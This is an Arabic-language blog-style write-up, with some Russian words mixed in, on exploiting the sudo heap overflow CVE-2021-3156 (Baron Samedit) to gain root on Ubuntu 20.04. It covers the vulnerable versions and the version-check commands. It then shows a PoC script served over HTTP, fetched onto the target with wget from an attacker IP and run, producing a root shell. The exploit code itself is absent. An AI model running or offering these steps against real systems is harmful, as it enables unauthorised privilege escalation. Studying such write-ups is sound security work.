👑 CVE-2021-3156 (Baron Samedit) — تصعيد الامتيازات عبر تجاوز سعة الكومة في sudo

📅 التاريخ: 2025-06-08
✍️ المؤلف: @TopskiyPavelQwertyGang 🧠 باحث أمني | متحمس للفريق الأحمر

---

🧠 نظرة عامة على CVE

• CVE-ID: CVE-2021-3156
• النوع: تجاوز سعة المخزن المؤقت على الكومة (Heap-based Buffer Overflow)
• المكوّن: sudoedit (sudo)
• مستوى الوصول: محلي
• الهدف: الحصول على صلاحيات root

---

🧠 الوصف

يسمح تجاوز سعة الكومة (Heap-overflow) في sudoedit للمستخدم المحلي بالحصول على وصول root
عند تنفيذ الأمر sudoedit بمعاملات مُعدّة مسبقًا.

الاستغلال فعّال للإصدارات sudo < 1.9.5p2، بما في ذلك صور Ubuntu/Debian/CentOS الشائعة.
حتى مع تفعيل ASLR تبقى الثغرة قابلة للاستغلال.

---

🐾 شروط الاستغلال

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (уязвим)
ASLR   : 2 (включён)

---

🧪 تحضير البيئة

1. تم التحقق من إصدارات glibc وsudo:

ldd --version
sudo --version

2. تم نقل سكربتات PoC من جهاز آخر عبر خادم HTTP مدمج:

python3 -m http.server 80

3. على الجهاز الهدف يتم تنزيل PoC وتنفيذها:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 استغلال ناجح لـ PoC

$ python3 exploit_nss.py
# whoami
root

---

🧾 الخاتمة

يبقى استغلال CVE-2021-3156 ممكنًا حتى مع تفعيل ASLR، إذا كان glibc ≥ 2.26 وإصدار sudo عرضة للثغرة.
تبيّن أن أكثر ما كان استقرارًا هو استغلال exploit_nss.py، الذي ينجح من المحاولة الأولى عند تكوين NSS بشكل صحيح.

🧨 النظام تحت السيطرة.

---